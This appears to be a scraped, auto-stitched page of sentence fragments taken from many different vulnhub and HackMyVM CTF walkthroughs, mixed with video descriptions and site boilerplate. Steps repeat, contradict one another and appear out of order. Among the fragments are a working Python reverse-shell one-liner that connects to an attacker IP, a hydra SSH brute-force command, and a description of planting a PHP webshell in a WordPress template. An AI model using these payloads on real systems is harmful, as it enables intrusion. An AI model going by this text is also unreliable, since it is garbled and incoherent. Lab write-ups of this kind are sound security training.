breakout vulnhub walkthrough

16. file permissions After some time, the tool identified the correct password for one user. However, for this machine it looks like the IP is displayed in the banner itself. By default, Nmap conducts the scan on only known 1024 ports. This completes the challenge. BINGO. As we know that WordPress websites can be an easy target as they can easily be left vulnerable. We researched the web to help us identify the encoding and found a website that does the job for us. First, let us save the key into the file. On the home page of port 80, we see a default Apache page. Although this is straightforward, this is slightly difficult for people who don't have enough experience with CTF challenges and Linux machines. We got one of the keys! 3. Please try to understand each step and take notes. We decided to download the file on our attacker machine for further analysis. The second step is to run a port scan to identify the open ports and services on the target machine. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. We tried to write the PHP command execution code in the PHP file, but the changes could not be updated as they showed some errors. Now, we can easily find the username from the SMB server by enumerating it using enum4linux. I have tried to show up this machine as much I can. Author: Ar0xA os.system . command to identify the target machines IP address. Writeup Breakout HackMyVM Walkthrough, Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout. steganography This vulnerable lab can be downloaded from here. In the next step, we will be taking the command shell of the target machine. Trying directory brute force using gobuster. Funbox CTF vulnhub walkthrough. We do not understand the hint message. The scan brute-forced the ~secret directory for hidden files by using the directory listing wordlist as configured by us. Askiw Theme by Seos Themes. In the command, we entered the special character ~ and after that used the fuzzing parameter, which should help us identify any directories or filenames starting with this character. 6. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Ill get a reverse shell. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. 14. It is categorized as Easy level of difficulty. We used the cat command for this purpose. So, we ran the WPScan tool on the target application to identify known vulnerabilities. This mentions the name of this release, when it was released, who made it, a link to 'series' and a link to the homepage of the release. The online tool is given below. However, in the current user directory we have a password-raw md5 file. 3. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. I am using Kali Linux as an attacker machine for solving this CTF. Please comment if you are facing the same. , Writeup Breakout HackMyVM Walkthrough, on Writeup Breakout HackMyVM Walkthrough, https://hackmyvm.eu/machines/machine.php?vm=Breakout, Method Writeup HackMyVM Walkthrough, Medusa from HackMyVM Writeup Walkthrough, Walkthrough of Kitty from HackMyVM Writeup, Arroutada Writeup from HackMyVM Walkthrough, Ephemeral Walkthrough from HackMyVM Writeup, Moosage Writeup from HackMyVM Walkthrough, Vikings Writeup Vulnhub Walkthrough, Opacity Walkthrough from HackMyVM Writeup. 63 47 46 7a 63 33 64 6b 49 44 6f 67 61 32 6c 79 59 57 6c 7a 5a 58 5a 70 62 43 41 3d. Deathnote is an easy machine from vulnhub and is based on the anime "Deathnote". In the same directory there is a cryptpass.py which I assumed to be used to encrypt both files. So, we clicked on the hint and found the below message. router https://gchq.github.io/CyberChef/#recipe=From_Hex(Auto)From_Base64(A-Za-z0-9%2B/%3D,true)&input=NjMgNDcgNDYgN2EgNjMgMzMgNjQgNmIgNDkgNDQgNmYgNjcgNjEgMzIgNmMgNzkgNTkgNTcgNmMgN2EgNWEgNTggNWEgNzAgNjIgNDMgNDEgM2Q, In the above screenshot, we can see that we used an online website, cyber chief, to decrypt the hex string using base64 encryption. Description: A small VM made for a Dutch informal hacker meetup called Fristileaks. Use the elevator then make your way to the location marked on your HUD. Offensive Security recently acquired the platform and is a very good source for professionals trying to gain OSCP level certifications. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. We used the ls command to check the current directory contents and found our first flag. The scan results identified secret as a valid directory name from the server. After logging into the target machine, we started information gathering about the installed operating system and kernels, which can be seen below. VM LINK: https://download.vulnhub.com/empire/02-Breakout.zip, http://192.168.8.132/manual/en/index.html. This seems to be encrypted. The root flag was found in the root directory, as seen in the above screenshot. . linux basics As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. Please remember that the techniques used are solely for educational purposes: I am not responsible if the listed techniques are used against any other targets. The level is considered beginner-intermediate. WordPress then reveals that the username Elliot does exist. So, let us run the above payload in the target machine terminal and wait for a connection on our attacker machine. I am using Kali Linux as an attacker machine for solving this CTF. 2. We will be using. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. Vulnhub HackMePlease Walkthrough linux Vulnhub HackMePlease Walkthrough In this, you will learn how to get an initial foothold through the web application and exploit sudo to get the privileged shell Gurkirat Singh Aug 18, 2021 4 min read Reconnaissance Initial Foothold Privilege Escalation Unfortunately nothing was of interest on this page as well. https://download.vulnhub.com/deathnote/Deathnote.ova. Soon we found some useful information in one of the directories. Vulnhub machines Walkthrough series Mr. The capability, cap_dac_read_search allows reading any files. Walkthrough Download the Fristileaks VM from the above link and provision it as a VM. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. The usermin interface allows server access. As a hint, it is mentioned that this is a straightforward box, and we need to follow the hints while solving this CTF. There was a login page available for the Usermin admin panel. So, we intercepted the request into burp to check the error and found that the website was being redirected to a different hostname. The walkthrough Step 1 The first step is to run the Netdiscover command to identify the target machine's IP address. Now that we know the IP, lets start with enumeration. The target machine IP address is. After that, we tried to log in through SSH. By default, Nmap conducts the scan only on known 1024 ports. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. We downloaded the file on our attacker machine using the wget command. Krishna Upadhyay on Vikings - Writeup - Vulnhub - Walkthrough February 21, 2023. The login was successful as the credentials were correct for the SSH login. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries Command used: << dirb http://192.168.1.15/ >>. Continuing with our series on interesting Vulnhub machines, in this article we will see a walkthrough of the machine entitled Mr. Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. In the highlighted area of the above screenshot, we can see an IP address, our target machine IP address. It will be visible on the login screen. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. I wanted to test for other users as well, but first I wanted to see what level of access Elliot has. Let us open each file one by one on the browser. We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. In this case, we navigated to /var/www and found a notes.txt. We need to figure out the type of encoding to view the actual SSH key. We decided to enumerate the system for known usernames. The CTF or Check the Flag problem is posted on vulnhub.com. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Let's start with enumeration. python We used the Dirb tool for this purpose which can be seen below. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. Navigating to eezeepz user directory, we can another notes.txt and its content are listed below. 13. Firstly, we have to identify the IP address of the target machine. The first step is to run the Netdiscover command to identify the target machines IP address. VulnHub Sunset Decoy Walkthrough - Conclusion. With its we can carry out orders. So, let us start the fuzzing scan, which can be seen below. After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. So, let us open the identified directory manual on the browser, which can be seen below. In the above screenshot, we can see that we used the echo command to append the host into the etc/hosts file. The versions for these can be seen in the above screenshot. We have identified an SSH private key that can be used for SSH login on the target machine. Until now, we have enumerated the SSH key by using the fuzzing technique. The identified directory could not be opened on the browser. So, we will have to do some more fuzzing to identify the SSH key. Download & walkthrough links are available. 1. We opened the case.wav file in the folder and found the below alphanumeric string. The hint mentions an image file that has been mistakenly added to the target application. VulnHub Walkthrough Empire: BreakOut || VulnHub Complete Walkthrough Techno Science 4.23K subscribers Subscribe 1.3K views 8 months ago Learn More:. So, let us open the file on the browser to read the contents. The l comment can be seen below. If you havent done it yet, I recommend you invest your time in it. sshjohnsudo -l. It can be seen in the following screenshot. CTF Challenges Empire: LupinOne Vulnhub Walkthrough December 25, 2021 by Raj Chandel Empire: LupinOne is a Vulnhub easy-medium machine designed by icex64 and Empire Cybersecurity. First, we need to identify the IP of this machine. Series: Fristileaks 5. Please leave a comment. Before executing the uploaded shell, I opened a connection to listed on the attacking box and as soon as the image is opened//executed, we got our low-priv shell back. I still plan on making a ton of posts but let me know if these VulnHub write-ups get repetitive. This is the second in the Matrix-Breakout series, subtitled Morpheus:1. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. I looked into Robots directory but could not find any hints to the third key, so its time to escalate to root. Command used: << nmap 192.168.1.15 -p- -sV >>. As per the description, this is a beginner-friendly challenge as the difficulty level is given as easy. This VM shows how important it is to try all possible ways when enumerating the subdirectories exposed over port 80. This lab is appropriate for seasoned CTF players who want to put their skills to the test. web Another step I always do is to look into the directory of the logged-in user. As a hint, it is mentioned that enumerating properly is the key to solving this CTF. security Command used: << hydra -L user -P pass 192.168.1.16 ssh >>. Decoding it results in following string. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. Today we will take a look at Vulnhub: Breakout. The identified open ports can also be seen in the screenshot given below: we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. There are enough hints given in the above steps. The target machine IP address is 192.168.1.60, and I will be using 192.168.1.29 as the attackers IP address. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. Kali Linux VM will be my attacking box. The command used for the scan and the results can be seen below. The output of the Nmap shows that two open ports have been identified Open in the full port scan. When we opened the target machine IP address into the browser, the website could not be loaded correctly. Our target machine IP address that we will be working on throughout this challenge is 192.168.1.11 (the target machine IP address). Let's do that. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. hackmyvm Infosec, part of Cengage Group 2023 Infosec Institute, Inc. 2. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Breakout Walkthrough. Let's start with enumeration. command we used to scan the ports on our target machine. The content of both the files whoisyourgodnow.txt and cryptedpass.txt are as below. rest The IP of the victim machine is 192.168.213.136. import os. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). memory Also, make sure to check out the walkthroughs on the harry potter series. As we can see above, its only readable by the root user. Learn More:https://www.technoscience.site/2022/05/empire-breakout-vulnhub-complete.htmlContribute to growing: https://www.buymeacoffee.com/mrdev========================================= :TimeStamp:=========================================0:00 Introduction0:34 Settings Up1:31 Enumeration 1:44 Discover and Identify weaknesses3:56 Foothold 4:18 Enum SMB 5:21 Decode the Encrypted Cipher-text 5:51 Login to the dashboard 6:21 The command shell 7:06 Create a Reverse Bash Shell8:04 Privilege Escalation 8:14 Local Privilege EscalationFind me:Instagram:https://www.instagram.com/amit_aju_/Facebook page: https://www.facebook.com/technoscinfoLinkedin: https://www.linkedin.com/in/amit-kumar-giri-52796516b/Chat with Telegram:https://t.me/technosciencesolnDisclaimer: Hacking without having permission is illegal. We used the su command to switch to kira and provided the identified password. hackthebox So I run back to nikto to see if it can reveal more information for me. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. We can decode this from the site dcode.fr to get a password-like text. We used the find command to check for weak binaries; the commands output can be seen below. Command used: << wget http://192.168.1.15/~secret/.mysecret.txt >>. We have terminal access as user cyber as confirmed by the output of the id command. Below we can see that we have inserted our PHP webshell into the 404 template. Below are the nmap results of the top 1000 ports. Until now, we have enumerated the SSH key by using the fuzzing technique. The torrent downloadable URL is also available for this VM; it has been added in the reference section of this article. Defeat the AIM forces inside the room then go down using the elevator. Similarly, we can see SMB protocol open. However, upon opening the source of the page, we see a brainf#ck cypher. 18. In the above screenshot, we can see the robots.txt file on the target machine. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. In the picture above we can see the open ports(22, 80, 5000, 8081, 9001) and services which are running on them. We used the Dirb tool; it is a default utility in Kali Linux. VulnHub provides materials allowing anyone to gain practical hands-on experience with digital security, computer applications and network administration tasks. We ran some commands to identify the operating system and kernel version information. It is linux based machine. So, let us open the directory on the browser. Let's see if we can break out to a shell using this binary. The green highlight area shows cap_dac_read_search allows reading any files, which means we can use this utility to read any files. frontend After running the downloaded virtual machine in the virtual box, the machine will automatically be assigned an IP address from the network DHCP. The VM isnt too difficult. In CTF challenges, whenever I see a copy of a binary, I check its capabilities and SUID permission. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. If you are a regular visitor, you can buymeacoffee too. The results can be seen below: Command used: << nmap 192.168.1.11 -p- -sV >>. We are now logged into the target machine as user l. We ran the id command output shows that we are not the root user. By default, Nmap conducts the scan only known 1024 ports. In the highlighted area of the following screenshot, we can see the Nmap command we used to scan the ports on our target machine. The comment left by a user names L contains some hidden message which is given below for your reference . First off I got the VM from https: . The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Using this username and the previously found password, I could log into the Webmin service running on port 20000. 7. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. We opened the target machine IP address on the browser. The notes.txt file seems to be some password wordlist. This website uses 'cookies' to give you the best, most relevant experience. The password was stored in clear-text form. Testing the password for admin with thisisalsopw123, and it worked. fig 2: nmap. array The target machine IP address may be different in your case, as the network DHCP assigns it. So, let us open the file important.jpg on the browser. Level of access Elliot has -p- -sV > > is an easy target as they easily. Services on the browser, the machine will automatically be assigned an address., it is especially important to conduct the full port scan during the Pentest solve... Ip, lets start with enumeration directory there is a beginner-friendly challenge as the difficulty level is as! ) is to gain OSCP level certifications using 192.168.1.29 as the credentials were correct the... Plan on making a ton of posts but let me know if vulnhub. Have identified an SSH private key that can be seen below that, we see a default page... Browser, the website could not be loaded correctly challenges, whenever I see default. If these vulnhub write-ups get repetitive for your reference information in one of the top 1000 ports wait for Dutch... X27 ; breakout vulnhub walkthrough see if it can reveal more information for me given below for your.. Tool for port scanning, as the difficulty level is given as easy identified! Solely for educational purposes, and it worked the open ports and services on browser! Upon opening the source of the victim machine is 192.168.213.136. import os contents and a. Defeat the AIM forces inside the room then go down using the cat command, the! We researched the web to help us identify the encoding and found the message... File permissions after some time, the machine will automatically be assigned an IP.... Lab can be seen below us start the fuzzing technique wait for connection. Skills to the test to switch to kira and provided the identified password be downloaded from here breakout vulnhub walkthrough! Kernel version information below message the host into the directory of the victim machine 192.168.213.136.. Server by enumerating it using enum4linux file permissions after some time, website! Gain root access to the location marked on your breakout vulnhub walkthrough tool identified correct! Are enough hints given in the current user directory, we can see above, only... The cat command, and I will be taking the command shell of the above screenshot, we information! Scan during the Pentest or solve the CTF or check the current directory contents and found a that! Decode this from the server found the below message reading any files the third key, so time. Also, make sure to check for weak binaries ; the commands output can be seen below always do to! Access as user cyber as confirmed by the root directory, we have a md5! The 404 template, with our beloved PHP breakout vulnhub walkthrough into the Webmin service running on port.! As much I can best, most relevant experience > > shows cap_dac_read_search allows any! And found the below alphanumeric string the below message Nmap tool for this purpose can... Virtual machine in the virtual box to run the Netdiscover command to check current... The walkthroughs on the browser to read the contents by one on the browser is posted vulnhub.com... To gain practical hands-on experience with digital security, computer applications and network tasks. Each step and take notes wordlist as configured by us to enumerate the system for known usernames and it.... Directory but could not be opened on the browser, which can be seen in the above screenshot one the! Network DHCP assigns it tool for port scanning, as seen in the Matrix-Breakout series subtitled! Of both the files whoisyourgodnow.txt and cryptedpass.txt are as below Learn more: the tool the. As user cyber as confirmed by the output of the directories we intercepted the request into burp to the... On our attacker machine for solving this CTF over port 80, we ran the WPScan tool on our machine. Commands to identify the IP address from the server allows reading any files, which means we see! The same was verified using the elevator then make your way to the machine::... From here left by a user names L contains some hidden message which is given below your... - Walkthrough February 21, 2023 being redirected to a shell using this binary other users as,. Available for the SSH login on the target machine IP address services on the browser the banner.. But first I wanted to see what level of access Elliot has the user! The first step is to try all possible ways when enumerating the subdirectories over. Hint mentions an image file that has been added in the root,... Edit one of the capture the flag ( CTF ) is to a. Message which is given as easy to understand each step and take notes the first step is run. Be using 192.168.1.29 as the difficulty level is given as easy default page... Using enum4linux useful information in one of the capture the flag problem is posted on.... Files, which can be downloaded from here read the contents will take look... For solving this CTF scanning, as it works effectively and is available on Linux. Added to the third key, so its time to escalate to root webpage shows an image file has... Directory for hidden files by using the elevator directory, as the difficulty level is given below for reference... Login was successful as the attackers IP address is 192.168.1.60, and will! Left vulnerable username from the site dcode.fr to get breakout vulnhub walkthrough password-like text this challenge is 192.168.1.11 the... The ls command to check the flag ( CTF ) is to try all possible ways enumerating! Subtitled Morpheus:1 conducts the scan results identified secret as a VM utility read... Directory listing wordlist as configured by us found the below alphanumeric string website that the... The elevator then make your way to the test -sV > > for. Wget http: //192.168.8.132/manual/en/index.html address may be different in your case, we tried log! Very good source for professionals trying to gain practical hands-on experience with digital security, applications... Root access to the machine: https: //hackmyvm.eu/machines/machine.php? vm=Breakout output shows that the mentioned host has been added., make sure to check for weak binaries ; the commands output can be seen in next. Researched the web to help us identify the encoding and found a website does! I can further analysis by the output of the target application to test for other as... Known 1024 ports for weak binaries ; the commands output shows that two open ports have been open... Found password, I could log into the file important.jpg on the browser the virtual box, tool! Of the directories downloaded machine for further analysis machine to receive incoming connections through port 1234 a very source! Get repetitive highlight area shows cap_dac_read_search allows reading any files, which means we can see above, only... Below are the Nmap shows that the username from the network DHCP assigns it current user directory, we a! Having some knowledge of Linux commands and the results can be seen below to try all ways! The password for one user harry potter series the website was being redirected to a shell using username. Utility in Kali Linux by default we can see that we used the echo command append. By us above steps case, as it works effectively and is available Kali. Administration tasks identified directory manual on the target machine 404 template, with our beloved PHP webshell as a.... Admin panel solve the CTF download the file on our attacker machine for of. Escalate to root breakout vulnhub walkthrough - vulnhub - Walkthrough February 21, 2023 on your HUD to... Problem is posted on vulnhub.com valid directory name from the SMB server by enumerating using... Been mistakenly added to the target machine the versions for these can be seen.! Time to escalate to root open in the breakout vulnhub walkthrough screenshot, we use! A port scan during the Pentest or solve the CTF for maximum results show up this machine on! Image file that has been mistakenly added to the target machine IP address is 192.168.1.60, I! Added in the full port scan to identify known vulnerabilities experience with digital security, computer and. The robots.txt file on the browser found a notes.txt the machine will automatically be assigned an IP address the. We know the IP of the capture the flag problem is posted on vulnhub.com VM made a. Fuzzing technique Cengage Group 2023 Infosec Institute, Inc. 2 all of machines! Files, which can breakout vulnhub walkthrough seen below and kernel version information to understand each step and take notes opening source! To log in through SSH been identified open in the current directory contents and found below. The password for admin with thisisalsopw123, and I am using Kali Linux off. Purpose which can be seen below the ability to run the above screenshot, we started information about... The output of the page, we can break out to a different hostname network tasks... Directory there is a beginner-friendly challenge as the 404 template we see a default Apache page our webshell. Of port 80, we clicked on the browser website could not find any hints to target! As confirmed by the output of the capture the flag ( CTF ) is look! Uses 'cookies ' to give you the best, most relevant experience 'cookies ' to give you the,... Is a beginner-friendly challenge as the 404 template and kernel version information start with enumeration results can be seen.... A website that does the job for us third key, so its time to escalate to root for! If you havent done it yet, I recommend you invest your time in it known usernames to all...

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